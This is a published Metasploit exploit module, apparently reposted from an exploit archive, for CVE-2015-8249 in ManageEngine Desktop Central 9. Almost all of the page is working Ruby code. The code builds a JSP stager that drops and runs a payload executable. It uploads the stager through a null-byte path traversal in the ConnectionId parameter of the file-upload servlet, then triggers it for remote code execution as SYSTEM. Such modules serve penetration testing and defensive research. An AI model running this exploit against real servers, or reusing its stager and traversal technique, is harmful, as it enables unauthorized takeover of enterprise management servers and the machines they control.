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ManageEngine Desktop Central 9 FileUploadServlet ConnectionId

ManageEngine Desktop Central 9 FileUploadServlet ConnectionId
Posted Dec 14, 2015
Authored by sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability found in ManageEngine Desktop Central 9. When uploading a 7z file, the FileUploadServlet class does not check the user-controlled ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to inject a null bye at the end of the value to create a malicious file with an arbitrary file type, and then place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM. Please note that by default, some ManageEngine Desktop Central versions run on port 8020, but older ones run on port 8040. Also, using this exploit will leave debugging information produced by FileUploadServlet in file rdslog0.txt. This exploit was successfully tested on version 9, build 90109 and build 91084.

tags | exploit, remote, arbitrary, code execution
advisories | CVE-2015-8249
MD5 | f5df3d5e194fca9be98f8610c715334c

ManageEngine Desktop Central 9 FileUploadServlet ConnectionId

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in ManageEngine Desktop Central 9. When
uploading a 7z file, the FileUploadServlet class does not check the user-controlled
ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to
inject a null bye at the end of the value to create a malicious file with an arbitrary
file type, and then place it under a directory that allows server-side scripts to run,
which results in remote code execution under the context of SYSTEM.

Please note that by default, some ManageEngine Desktop Central versions run on port 8020,
but older ones run on port 8040. Also, using this exploit will leave debugging information
produced by FileUploadServlet in file rdslog0.txt.

This exploit was successfully tested on version 9, build 90109 and build 91084.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249' ],
[ 'CVE', '2015-8249']
],
'Platform' => 'win',
'Targets' =>
[
[ 'ManageEngine Desktop Central 9 on Windows', {} ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "Dec 14 2015",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
Opt::RPORT(8020)
], self.class)
end

def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

jspraw << %Q|int numbytes = data.length();\n|

jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|

jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|

jspraw
end

def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|

jspraw
end

def get_jsp_stager
exe = generate_payload_exe(code: payload.encoded)
jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"
# pwd: C:\ManageEngine\DesktopCentral_Server\bin
# targeted location: C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf
register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")

{
jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
jsp_name: jsp_fname
}
end

def get_build_number(res)
inputs = res.get_hidden_inputs
# The buildNum input is in the first form
inputs.first['buildNum']
end

def get_html_title(res)
html = res.body
n = ::Nokogiri::HTML(html)
n.at_xpath('//title').text
end

def check
uri = normalize_uri(target_uri.path, '/configurations.do')

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

unless res
vprint_error("Connection timed out")
return Exploit::CheckCode::Unknown
end

build_number = get_build_number(res)
vprint_status("Found build number: #{build_number}")

html_title = get_html_title(res)
vprint_status("Found title: #{html_title}")

if build_number <= '91084'
return Exploit::CheckCode::Appears
elsif /ManageEngine Desktop Central/ === html_title
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end

def upload_jsp(stager_info)
# connectionId is part of the 7z filename
# computerName is part of the 7z filename (but will be used due to the null byte injection)
# customerId is used as a directory name
#
# The intended upload path is:
# C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\server-data\[customerId]\rds\scr-rec\null-computerName-connectionId.7z
# But this will upload to:
# C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf

uri = normalize_uri(target_uri.path, 'fileupload')

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => 'application/octet-stream',
'encode_params' => false,
'data' => stager_info[:jsp_payload],
'vars_get' => {
'connectionId' => "#{Rex::Text.rand_text_alpha(1)}/../../../../../jspf/#{stager_info[:jsp_name]}%00",
'resourceId' => Rex::Text.rand_text_alpha(1),
'action' => 'rds_file_upload',
'computerName' => Rex::Text.rand_text_alpha(rand(10)+5),
'customerId' => Rex::Text.rand_text_numeric(rand(10)+5)
}
})

if res.nil?
fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
elsif res && res.code != 200
fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
end
end

def exec_jsp(stager_info)
uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

if res.nil?
fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
elsif res && res.code != 200
fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
end
end

def exploit
print_status("Creating JSP stager")
stager_info = get_jsp_stager

print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
upload_jsp(stager_info)

print_status("Executing stager...")
exec_jsp(stager_info)
end

end

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